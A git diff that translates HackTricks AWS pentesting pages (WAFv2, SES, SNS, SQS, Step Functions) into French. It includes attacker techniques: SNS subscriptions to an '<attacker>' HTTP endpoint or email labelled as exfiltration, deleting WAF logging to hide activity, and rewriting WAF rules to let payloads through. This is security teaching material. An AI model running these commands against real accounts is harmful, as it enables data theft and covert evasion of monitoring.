+- La création de nouveaux motifs regex aiderait un attaquant à autoriser du contenu nuisible
+- En mettant à jour les motifs existants, un attaquant pourrait contourner les règles de sécurité
+- La suppression de motifs conçus pour bloquer les activités malveillantes pourrait permettre à un attaquant d'envoyer des charges utiles malveillantes et de contourner les mesures de sécurité.
 ```bash
 # Create regex pattern set
 aws wafv2 create-regex-pattern-set --name <value> --regular-expression-list <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--description <value>]
@@ -414,62 +391,51 @@ aws wafv2 update-regex-pattern-set --name <value> --id <value> --regular-express
 # Delete regex pattern set
 aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> --id <value> --lock-token <value>
 ```
-
-**Potential Impact**: Bypass security controls, allowing malicious content and potentially exposing sensitive data or disrupting services and resources protected by AWS WAF.
+**Impact potentiel** : Contourner les contrôles de sécurité, permettant à un contenu malveillant de passer et exposant potentiellement des données sensibles ou perturbant les services et ressources protégés par AWS WAF.
 
 #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`**
 
-An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to remove the logging configuration from the specified Web ACL. Subsequently, with the **`wavf2:PutLoggingConfiguration`** and **`iam:CreateServiceLinkedRole`** permissions, an attacker could create or replace logging configurations (after having deleted it) to either prevent logging altogether or redirect logs to unauthorized destinations, such as Amazon S3 buckets, Amazon CloudWatch Logs log group or an Amazon Kinesis Data Firehose under control.
+Un attaquant avec le **`wafv2:DeleteLoggingConfiguration`** serait capable de supprimer la configuration de journalisation de l'ACL Web spécifié. Par la suite, avec les permissions **`wavf2:PutLoggingConfiguration`** et **`iam:CreateServiceLinkedRole`**, un attaquant pourrait créer ou remplacer des configurations de journalisation (après l'avoir supprimée) pour soit empêcher complètement la journalisation, soit rediriger les journaux vers des destinations non autorisées, telles que des buckets Amazon S3, un groupe de journaux Amazon CloudWatch Logs ou un Amazon Kinesis Data Firehose sous contrôle.
 
-During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination:
+Lors du processus de création, le service configure automatiquement les permissions nécessaires pour permettre l'écriture des journaux à la destination de journalisation spécifiée :
 
-- **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group.
-- **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket.
-- **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream.
+- **Amazon CloudWatch Logs :** AWS WAF crée une politique de ressource sur le groupe de journaux CloudWatch Logs désigné. Cette politique garantit qu'AWS WAF dispose des permissions requises pour écrire des journaux dans le groupe de journaux.
+- **Bucket Amazon S3 :** AWS WAF crée une politique de bucket sur le bucket S3 désigné. Cette politique accorde à AWS WAF les permissions nécessaires pour télécharger des journaux dans le bucket spécifié.
+- **Amazon Kinesis Data Firehose :** AWS WAF crée un rôle lié au service spécifiquement pour interagir avec Kinesis Data Firehose. Ce rôle permet à AWS WAF de livrer des journaux au flux Firehose configuré.
 
 > [!NOTE]
-> It is possible to define only one logging destination per web ACL.
-
+> Il est possible de définir une seule destination de journalisation par ACL Web.
 ```bash
 # Put logging configuration
 aws wafv2 put-logging-configuration --logging-configuration <value>
 # Delete logging configuration
 aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
 ```
-
-**Potential Impact:** Obscure visibility into security events, difficult the incident response process, and facilitate covert malicious activities within AWS WAF-protected environments.
+**Impact potentiel :** Obscurcir la visibilité sur les événements de sécurité, rendre le processus de réponse aux incidents difficile et faciliter des activités malveillantes discrètes au sein des environnements protégés par AWS WAF.
 
 #### **`wafv2:DeleteAPIKey`**
 
-An attacker with this permissions would be able to delete existing API keys, rendering the CAPTCHA ineffective and disrupting the functionality that relies on it, such as form submissions and access controls. Depending on the implementation of this CAPTCHA, this could lead either to a CAPTCHA bypass or to a DoS if the error management is not properly set in the resource.
-
+Un attaquant avec ces permissions serait capable de supprimer des clés API existantes, rendant le CAPTCHA inefficace et perturbant la fonctionnalité qui en dépend, comme les soumissions de formulaires et les contrôles d'accès. Selon l'implémentation de ce CAPTCHA, cela pourrait conduire soit à un contournement du CAPTCHA, soit à un DoS si la gestion des erreurs n'est pas correctement configurée dans la ressource.
 ```bash
 # Delete API key
 aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 ```
-
-**Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft.
+**Impact potentiel** : Désactiver les protections CAPTCHA ou perturber la fonctionnalité de l'application, entraînant des violations de sécurité et un vol potentiel de données.
 
 #### **`wafv2:TagResource`, `wafv2:UntagResource`**
 
-An attacker would be able to add, modify, or remove tags from AWS WAFv2 resources, such as Web ACLs, rule groups, IP sets, regex pattern sets, and logging configurations.
-
+Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources AWS WAFv2, telles que les ACL Web, les groupes de règles, les ensembles d'IP, les ensembles de motifs regex et les configurations de journalisation.
 ```bash
 # Tag
 aws wafv2 tag-resource --resource-arn <value> --tags <value>
 # Untag
 aws wafv2 untag-resource --resource-arn <value> --tag-keys <value>
 ```
+**Impact potentiel** : Manipulation des ressources, fuite d'informations, manipulation des coûts et perturbation opérationnelle.
 
-**Potential Impact**: Resource tampering, information leakage, cost manipulation and operational disruption.
-
-## References
+## Références
 
 - [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/)
 - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
index bc6af90f1..8364aff3f 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
@@ -2,45 +2,40 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-Amazon Simple Email Service (Amazon SES) is designed for **sending and receiving emails**. It enables users to send transactional, marketing, or notification emails efficiently and securely at scale. It **integrates well with other AWS services**, providing a robust solution for managing email communications for businesses of all sizes.
+Amazon Simple Email Service (Amazon SES) est conçu pour **l'envoi et la réception d'emails**. Il permet aux utilisateurs d'envoyer des emails transactionnels, marketing ou de notification de manière efficace et sécurisée à grande échelle. Il **s'intègre bien avec d'autres services AWS**, offrant une solution robuste pour gérer les communications par email pour les entreprises de toutes tailles.
 
-You need to register **identities**, which can be domains or emails addresses that will be able to interact with SES (e.g. send and receive emails).
+Vous devez enregistrer des **identités**, qui peuvent être des domaines ou des adresses email qui pourront interagir avec SES (par exemple, envoyer et recevoir des emails).
 
-### SMTP User
-
-It's possible to connect to a **SMTP server of AWS to perform actions** instead of using the AWS API (or in addition). For this you need to create a user with a policy such as:
+### Utilisateur SMTP
 
+Il est possible de se connecter à un **serveur SMTP d'AWS pour effectuer des actions** au lieu d'utiliser l'API AWS (ou en plus). Pour cela, vous devez créer un utilisateur avec une politique telle que :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Action": "ses:SendRawEmail",
-      "Resource": "*"
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "ses:SendRawEmail",
+"Resource": "*"
+}
+]
 }
 ```
-
-Then, gather the **API key and secret** of the user and run:
-
+Ensuite, récupérez la **clé API et le secret** de l'utilisateur et exécutez :
 ```bash
 git clone https://github.com/lisenet/ses-smtp-converter.git
 cd ./ses-smtp-converter
 chmod u+x ./ses-smtp-conv.sh
 ./ses-smtp-conv.sh <AccessKeyId> <SecretAccessKey>
 ```
-
-It's also possible to do this from the AWS console web.
+Il est également possible de le faire depuis la console web AWS.
 
 ### Enumeration
 
 > [!WARNING]
-> Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two.
-
+> Notez que SES a 2 API : **`ses`** et **`sesv2`**. Certaines actions se trouvent dans les deux API et d'autres ne se trouvent que dans l'une des deux.
 ```bash
 # Get info about the SES account
 aws sesv2 get-account
@@ -117,7 +112,6 @@ aws ses get-send-quota
 ## Get statistics
 aws ses get-send-statistics
 ```
-
 ### Post Exploitation
 
 {{#ref}}
@@ -125,7 +119,3 @@ aws ses get-send-statistics
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
index cca4353cb..2ddcd0c79 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
@@ -4,18 +4,17 @@
 
 ## SNS
 
-Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types.
+Amazon Simple Notification Service (Amazon SNS) est décrit comme un **service de messagerie entièrement géré**. Il prend en charge à la fois les types de communication **application-à-application** (A2A) et **application-à-personne** (A2P).
 
-Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern.
+Les fonctionnalités clés pour la communication A2A incluent les **mécanismes de publication/abonnement (pub/sub)**. Ces mécanismes introduisent des **sujets**, cruciaux pour permettre une messagerie **push basée sur un haut débit et de nombreux à de nombreux**. Cette fonctionnalité est très avantageuse dans les scénarios impliquant des systèmes distribués, des microservices et des architectures sans serveur basées sur des événements. En tirant parti de ces sujets, les systèmes de publication peuvent distribuer efficacement des messages à un **large éventail de systèmes d'abonnement**, facilitant un modèle de messagerie de diffusion.
 
-### **Difference with SQS**
+### **Différence avec SQS**
 
-**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\
-On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\
-While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns.
-
-### **Enumeration**
+**SQS** est un service **basé sur des files d'attente** qui permet une communication point à point, garantissant que les messages sont traités par un **unique consommateur**. Il offre une **livraison au moins une fois**, prend en charge les files d'attente standard et FIFO, et permet la conservation des messages pour des réessais et un traitement différé.\
+D'autre part, **SNS** est un service **basé sur la publication/abonnement**, permettant une communication **un-à-plusieurs** en diffusant des messages à **plusieurs abonnés** simultanément. Il prend en charge **divers points de terminaison d'abonnement comme l'email, le SMS, les fonctions Lambda et HTTP/HTTPS**, et fournit des mécanismes de filtrage pour une livraison ciblée des messages.\
+Bien que les deux services permettent le découplage entre les composants dans des systèmes distribués, SQS se concentre sur la communication en file d'attente, tandis que SNS met l'accent sur les modèles de communication basés sur des événements et de diffusion. 
 
+### **Énumération**
 ```bash
 # Get topics & subscriptions
 aws sns list-topics
@@ -24,60 +23,55 @@ aws sns list-subscriptions-by-topic --topic-arn <arn>
 
 # Check privescs & post-exploitation
 aws sns publish --region <region> \
-    --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
-    --message file://message.txt
+--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
+--message file://message.txt
 
 # Exfiltrate through email
 ## You will receive an email to confirm the subscription
 aws sns subscribe --region <region> \
-    --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
-    --protocol email \
-    --notification-endpoint my-email@example.com
+--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
+--protocol email \
+--notification-endpoint my-email@example.com
 
 # Exfiltrate through web server
 ## You will receive an initial request with a URL in the field "SubscribeURL"
 ## that you need to access to confirm the subscription
 aws sns subscribe --region <region>\
-    --protocol http \
-    --notification-endpoint http://<attacker>/ \
-    --topic-arn <arn>
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
 ```
-
 > [!CAUTION]
-> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used).
+> Notez que si le **sujet est de type FIFO**, seuls les abonnés utilisant le protocole **SQS** peuvent être utilisés (HTTP ou HTTPS ne peuvent pas être utilisés).
 >
-> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region.
+> De plus, même si le `--topic-arn` contient la région, assurez-vous de spécifier la bonne région dans **`--region`** ou vous obtiendrez une erreur indiquant que vous n'avez pas accès, mais le problème est la région.
 
-#### Unauthenticated Access
+#### Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
 {{#endref}}
 
-#### Privilege Escalation
+#### Escalade de privilèges
 
 {{#ref}}
 ../aws-privilege-escalation/aws-sns-privesc.md
 {{#endref}}
 
-#### Post Exploitation
+#### Post-exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-sns-post-exploitation.md
 {{#endref}}
 
-#### Persistence
+#### Persistance
 
 {{#ref}}
 ../aws-persistence/aws-sns-persistence.md
 {{#endref}}
 
-## References
+## Références
 
 - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
index 1da888587..38b4bbbbc 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
@@ -4,10 +4,9 @@
 
 ## SQS
 
-Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work.
+Amazon Simple Queue Service (SQS) est présenté comme un **service de mise en file d'attente de messages entièrement géré**. Sa fonction principale est d'aider à l'évolutivité et au découplage des microservices, des systèmes distribués et des applications sans serveur. Le service est conçu pour éliminer le besoin de gérer et d'exploiter des middleware orientés message, qui peuvent souvent être complexes et gourmands en ressources. Cette élimination de la complexité permet aux développeurs de diriger leurs efforts vers des aspects plus innovants et différenciants de leur travail.
 
 ### Enumeration
-
 ```bash
 # Get queues info
 aws sqs list-queues
@@ -18,40 +17,35 @@ aws sqs receive-message --queue-url <value>
 
 aws sqs send-message --queue-url <value> --message-body <value>
 ```
-
 > [!CAUTION]
-> Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region.
+> De plus, même si le `--queue-url` contient la région, assurez-vous de spécifier la bonne région dans **`--region`** ou vous obtiendrez une erreur qui semble indiquer que vous n'avez pas accès, mais le problème est la région.
 
-#### Unauthenticated Access
+#### Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
 {{#endref}}
 
-#### Privilege Escalation
+#### Escalade de privilèges
 
 {{#ref}}
 ../aws-privilege-escalation/aws-sqs-privesc.md
 {{#endref}}
 
-#### Post Exploitation
+#### Post-exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-sqs-post-exploitation.md
 {{#endref}}
 
-#### Persistence
+#### Persistance
 
 {{#ref}}
 ../aws-persistence/aws-sqs-persistence.md
 {{#endref}}
 
-## References
+## Références
 
 - https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
index 873629bba..cb59e1249 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
@@ -4,266 +4,253 @@
 
 ## Step Functions
 
-AWS Step Functions is a workflow service that enables you to coordinate and orchestrate multiple AWS services into serverless workflows. By using AWS Step Functions, you can design and run workflows that connect various AWS services such as AWS Lambda, Amazon S3, Amazon DynamoDB, and many more, in a sequence of steps. This orchestration service provides a visual workflow interface and offers **state machine** capabilities, allowing you to define each step of the workflow in a declarative manner using JSON-based **Amazon States Language** (ASL).
+AWS Step Functions est un service de flux de travail qui vous permet de coordonner et d'orchestrer plusieurs services AWS en flux de travail sans serveur. En utilisant AWS Step Functions, vous pouvez concevoir et exécuter des flux de travail qui connectent divers services AWS tels qu'AWS Lambda, Amazon S3, Amazon DynamoDB, et bien d'autres, dans une séquence d'étapes. Ce service d'orchestration fournit une interface de flux de travail visuelle et offre des capacités de **machine d'état**, vous permettant de définir chaque étape du flux de travail de manière déclarative en utilisant le **Amazon States Language** (ASL) basé sur JSON.
 
 ## Key concepts
 
 ### Standard vs. Express Workflows
 
-AWS Step Functions offers two types of **state machine workflows**: Standard and Express.
+AWS Step Functions propose deux types de **flux de travail de machine d'état** : Standard et Express.
 
-- **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year.
-- **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage.
+- **Standard Workflow** : Ce type de flux de travail par défaut est conçu pour des processus longs, durables et audités. Il prend en charge l'**exécution exactement une fois**, garantissant que les tâches s'exécutent une seule fois, sauf si des réessais sont spécifiés. Il est idéal pour les flux de travail nécessitant un historique d'exécution détaillé et peut fonctionner pendant jusqu'à un an.
+- **Express Workflow** : Ce type est idéal pour des tâches de volume élevé et de courte durée, s'exécutant jusqu'à cinq minutes. Ils prennent en charge l'**exécution au moins une fois**, adaptée aux tâches idempotentes comme le traitement de données. Ces flux de travail sont optimisés pour le coût et la performance, facturant en fonction des exécutions, de la durée et de l'utilisation de la mémoire.
 
 ### States
 
-States are the essential units of state machines. They define the individual steps within a workflow, being able to perform a variety of functions depending on its type:
+Les états sont les unités essentielles des machines d'état. Ils définissent les étapes individuelles au sein d'un flux de travail, pouvant effectuer une variété de fonctions selon leur type :
 
-- **Task:** Executes a job, often using an AWS service like Lambda.
-- **Choice:** Makes decisions based on input.
-- **Fail/Succeed:** Ends the execution with a failure or success.
-- **Pass:** Passes input to output or injects data.
-- **Wait:** Delays execution for a set time.
-- **Parallel:** Initiates parallel branches.
-- **Map:** Dynamically iterates steps over items.
+- **Task :** Exécute un travail, souvent en utilisant un service AWS comme Lambda.
+- **Choice :** Prend des décisions basées sur l'entrée.
+- **Fail/Succeed :** Termine l'exécution avec un échec ou un succès.
+- **Pass :** Passe l'entrée à la sortie ou injecte des données.
+- **Wait :** Retarde l'exécution pendant un temps défini.
+- **Parallel :** Initie des branches parallèles.
+- **Map :** Itère dynamiquement les étapes sur des éléments.
 
 ### Task
 
-A **Task** state represents a single unit of work executed by a state machine. Tasks can invoke various resources, including activities, Lambda functions, AWS services, or third-party APIs.
+Un état **Task** représente une unité de travail unique exécutée par une machine d'état. Les tâches peuvent invoquer diverses ressources, y compris des activités, des fonctions Lambda, des services AWS ou des API tierces.
 
-- **Activities**: Custom workers you manage, suitable for long-running processes.
-  - Resource: **`arn:aws:states:region:account:activity:name`**.
-- **Lambda Functions**: Executes AWS Lambda functions.
-  - Resource: **`arn:aws:lambda:region:account:function:function-name`**.
-- **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3.
-  - Resource: **`arn:partition:states:region:account:servicename:APIname`**.
-- **HTTP Task**: Calls third-party APIs.
-  - Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details.
-
-The following example shows a Task state definition that invokes a Lambda function called HelloWorld:
+- **Activities** : Travailleurs personnalisés que vous gérez, adaptés aux processus longs.
+- Resource : **`arn:aws:states:region:account:activity:name`**.
+- **Lambda Functions** : Exécute des fonctions AWS Lambda.
+- Resource : **`arn:aws:lambda:region:account:function:function-name`**.
+- **AWS Services** : S'intègre directement avec d'autres services AWS, comme DynamoDB ou S3.
+- Resource : **`arn:partition:states:region:account:servicename:APIname`**.
+- **HTTP Task** : Appelle des API tierces.
+- Resource field : **`arn:aws:states:::http:invoke`**. Ensuite, vous devez fournir les détails de configuration de l'endpoint API, tels que l'URL de l'API, la méthode et les détails d'authentification.
 
+L'exemple suivant montre une définition d'état Task qui invoque une fonction Lambda appelée HelloWorld :
 ```json
 "HelloWorld": {
-  "Type": "Task",
-  "Resource": "arn:aws:states:::lambda:invoke",
-  "Parameters": {
-    "Payload.$": "$",
-    "FunctionName": "arn:aws:lambda:<region>:<account-id>:function:HelloWorld"
-  },
-  "End": true
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"Parameters": {
+"Payload.$": "$",
+"FunctionName": "arn:aws:lambda:<region>:<account-id>:function:HelloWorld"
+},
+"End": true
 }
 ```
-
 ### Choice
 
-A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results.
+Un **Choice** état ajoute une logique conditionnelle à un flux de travail, permettant des décisions basées sur des données d'entrée. Il évalue les conditions spécifiées et transitionne vers l'état correspondant en fonction des résultats.
 
-- **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable.
-- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true.
-
-Example of **Choice** state:
+- **Comparison**: Chaque règle de choix inclut un opérateur de comparaison (par exemple, **`NumericEquals`**, **`StringEquals`**) qui compare une variable d'entrée à une valeur spécifiée ou à une autre variable.
+- **Next Field**: Les états de choix ne prennent pas en charge le champ **`End`**, au lieu de cela, ils définissent l'état **`Next`** vers lequel transitionner si la comparaison est vraie.
 
+Exemple d'état **Choice** :
 ```json
 {
-  "Variable": "$.timeStamp",
-  "TimestampEquals": "2000-01-01T00:00:00Z",
-  "Next": "TimeState"
+"Variable": "$.timeStamp",
+"TimestampEquals": "2000-01-01T00:00:00Z",
+"Next": "TimeState"
 }
 ```
+### Échouer/Réussir
 
-### Fail/Succeed
+Un état **`Fail`** arrête l'exécution d'une machine d'état et la marque comme un échec. Il est utilisé pour spécifier un nom d'erreur et une cause, fournissant des détails sur l'échec. Cet état est terminal, ce qui signifie qu'il met fin au flux d'exécution.
 
-A **`Fail`** state stops the execution of a state machine and marks it as a failure. It is used to specify an error name and a cause, providing details about the failure. This state is terminal, meaning it ends the execution flow.
-
-A **`Succeed`** state stops the execution successfully. It is typically used to terminate the workflow when it completes successfully. This state does not require a **`Next`** field.
+Un état **`Succeed`** arrête l'exécution avec succès. Il est généralement utilisé pour terminer le flux de travail lorsqu'il se termine avec succès. Cet état ne nécessite pas de champ **`Next`**.
 
 {{#tabs }}
-{{#tab name="Fail example" }}
-
+{{#tab name="Exemple d'échec" }}
 ```json
 "FailState": {
-  "Type": "Fail",
-  "Error": "ErrorName",
-  "Cause": "Error details"
+"Type": "Fail",
+"Error": "ErrorName",
+"Cause": "Error details"
 }
 ```
-
 {{#endtab }}
 
-{{#tab name="Succeed example" }}
-
+{{#tab name="Exemple de réussite" }}
 ```json
 "SuccessState": {
-  "Type": "Succeed"
+"Type": "Succeed"
 }
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### Pass
 
-A **Pass** state passes its input to its output either without performing any work or transformin JSON state input using filters, and then passing the transformed data to the next state. It is useful for testing and constructing state machines, allowing you to inject static data or transform it.
-
+Un état **Pass** transmet son entrée à sa sortie soit sans effectuer de travail, soit en transformant l'entrée d'état JSON à l'aide de filtres, puis en passant les données transformées à l'état suivant. Il est utile pour tester et construire des machines d'état, vous permettant d'injecter des données statiques ou de les transformer.
 ```json
 "PassState": {
-  "Type": "Pass",
-  "Result": {"key": "value"},
-  "ResultPath": "$.newField",
-  "Next": "NextState"
+"Type": "Pass",
+"Result": {"key": "value"},
+"ResultPath": "$.newField",
+"Next": "NextState"
+}
+```
+### Wait
+
+Un **Wait** état retarde l'exécution de la machine d'état pour une durée spécifiée. Il existe trois méthodes principales pour configurer le temps d'attente :
+
+- **X Secondes** : Un nombre fixe de secondes à attendre.
+
+```json
+"WaitState": {
+"Type": "Wait",
+"Seconds": 10,
+"Next": "NextState"
 }
 ```
 
-### Wait
+- **Horodatage Absolu** : Un moment exact à attendre jusqu'à.
 
-A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time:
+```json
+"WaitState": {
+"Type": "Wait",
+"Timestamp": "2024-03-14T01:59:00Z",
+"Next": "NextState"
+}
+```
 
-- **X Seconds**: A fixed number of seconds to wait.
+- **Attente Dynamique** : Basée sur l'entrée utilisant **`SecondsPath`** ou **`TimestampPath`**.
 
-  ```json
-  "WaitState": {
-  	"Type": "Wait",
-  	"Seconds": 10,
-  	"Next": "NextState"
-  }
-  ```
-
-- **Absolute Timestamp**: An exact time to wait until.
-
-  ```json
-  "WaitState": {
-    "Type": "Wait",
-    "Timestamp": "2024-03-14T01:59:00Z",
-    "Next": "NextState"
-  }
-  ```
-
-- **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**.
-
-  ```json
-  jsonCopiar código
-  "WaitState": {
-    "Type": "Wait",
-    "TimestampPath": "$.expirydate",
-    "Next": "NextState"
-  }
-  ```
+```json
+jsonCopiar código
+"WaitState": {
+"Type": "Wait",
+"TimestampPath": "$.expirydate",
+"Next": "NextState"
+}
+```
 
 ### Parallel
 
-A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are:
-
-- **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine.
-- **ResultPath**: Defines where (in the input) to place the combined output of the branches.
-- **Retry and Catch**: Error handling configurations for the parallel state.
+Un **Parallel** état vous permet d'exécuter plusieurs branches de tâches simultanément dans votre flux de travail. Chaque branche s'exécute indépendamment et traite sa propre séquence d'états. L'exécution attend que toutes les branches soient terminées avant de passer à l'état suivant. Ses champs clés sont :
 
+- **Branches** : Un tableau définissant les chemins d'exécution parallèles. Chaque branche est une machine d'état distincte.
+- **ResultPath** : Définit où (dans l'entrée) placer la sortie combinée des branches.
+- **Retry et Catch** : Configurations de gestion des erreurs pour l'état parallèle.
 ```json
 "ParallelState": {
-  "Type": "Parallel",
-  "Branches": [
-    {
-      "StartAt": "Task1",
-      "States": { ... }
-    },
-    {
-      "StartAt": "Task2",
-      "States": { ... }
-    }
-  ],
-  "Next": "NextState"
+"Type": "Parallel",
+"Branches": [
+{
+"StartAt": "Task1",
+"States": { ... }
+},
+{
+"StartAt": "Task2",
+"States": { ... }
+}
+],
+"Next": "NextState"
+}
+```
+### Map
+
+Un **Map** état permet l'exécution d'un ensemble d'étapes pour chaque élément d'un ensemble de données. Il est utilisé pour le traitement parallèle des données. Selon la manière dont vous souhaitez traiter les éléments de l'ensemble de données, Step Functions propose les modes suivants :
+
+- **Inline Mode** : Exécute un sous-ensemble d'états pour chaque élément du tableau JSON. Convient aux tâches à petite échelle avec moins de 40 itérations parallèles, exécutant chacune d'elles dans le contexte du flux de travail contenant l'état **`Map`**.
+
+```json
+"MapState": {
+"Type": "Map",
+"ItemsPath": "$.arrayItems",
+"ItemProcessor": {
+"ProcessorConfig": {
+"Mode": "INLINE"
+},
+"StartAt": "AddState",
+"States": {
+"AddState": {
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"OutputPath": "$.Payload",
+"Parameters": {
+"FunctionName": "arn:aws:lambda:<region>:<account-id>:function:add-function"
+},
+"End": true
+}
+}
+},
+"End": true
+"ResultPath": "$.detail.added",
+"ItemsPath": "$.added"
 }
 ```
 
-### Map
+- **Distributed Mode** : Conçu pour le traitement parallèle à grande échelle avec une haute concurrence. Prend en charge le traitement de grands ensembles de données, tels que ceux stockés dans Amazon S3, permettant une haute concurrence allant jusqu'à 10 000 exécutions de flux de travail enfants parallèles, exécutant ces enfants comme une exécution enfant séparée.
 
-A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes:
-
-- **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state.
-
